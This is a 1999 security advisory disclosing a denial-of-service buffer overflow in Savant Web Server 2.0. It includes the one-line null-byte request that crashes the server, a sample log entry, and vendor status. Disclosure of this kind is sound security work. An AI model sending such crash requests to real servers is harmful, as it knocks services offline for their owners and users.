Local / Remote D.o.S Attack in Savant Web Server V2.0 WIN9X / NT / 2000

   

Savant

Savant Web Server V2.0 and possibly others versions.

 

USSR Advisory Code:   USSR-99026


Release Date:
December 28, 1999 [2/5]


Systems Affected:
Savant Web Server V2.0 Win9X / NT / 2K and possibly others versions.


About The Software:
Savant provides support for most modern web features and technologies, including: 

Common Gateway Interface (CGI) 1.0 and 1.1 
HTTP 0.9, 1.0, and 1.1 including keep-alive ability 
Comprehensive logging in the standard NCSA format 
User and group management 
Password protection 
Server-side image maps 
Support for over 40 file types, including MP3, RealAudio, and Microsoft
Office files XML, JavaScript, Java, and ActiveX, and more! 


THE PROBLEM

UssrLabs found a Local / Remote Buffer overflow,the buffer overflow is
caused by a NULL get command.


Example:
in Internet Explorer address: Htpp://SavantServerIP/%00/


The D.O.S action is logged in, 
C:\Savant\Logs\general.txt, inside looks like this one


Attacker Ip - - [20/Dec/1999:00:10:27 -0300] "GET /%00/index.htmlindex.htmlindex
.htmlindex.htmlindex.htmlindex.htmlindex.itmlindex.htmlindex.htmlindex.htmlindex
.htmlindex.htmlindex.html" 301 279


Do you do the w00w00?
This advisory also acts as part of w00giving. This is another contribution
to w00giving for all you w00nderful people out there. You do know what
w00giving is don't you? http://www.w00w00.org/advisories.html

Vendor Status:
Informed.

Vendor   Url: http://hera.wku.edu/~lamonml/savant/index.html
Program  Url: http://hera.wku.edu/~lamonml/savant/download.html

Credit: USSRLABS

SOLUTION
Noting yet :(

Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, ADM, L0pht, HNN, Technotronic and
Wiretrip.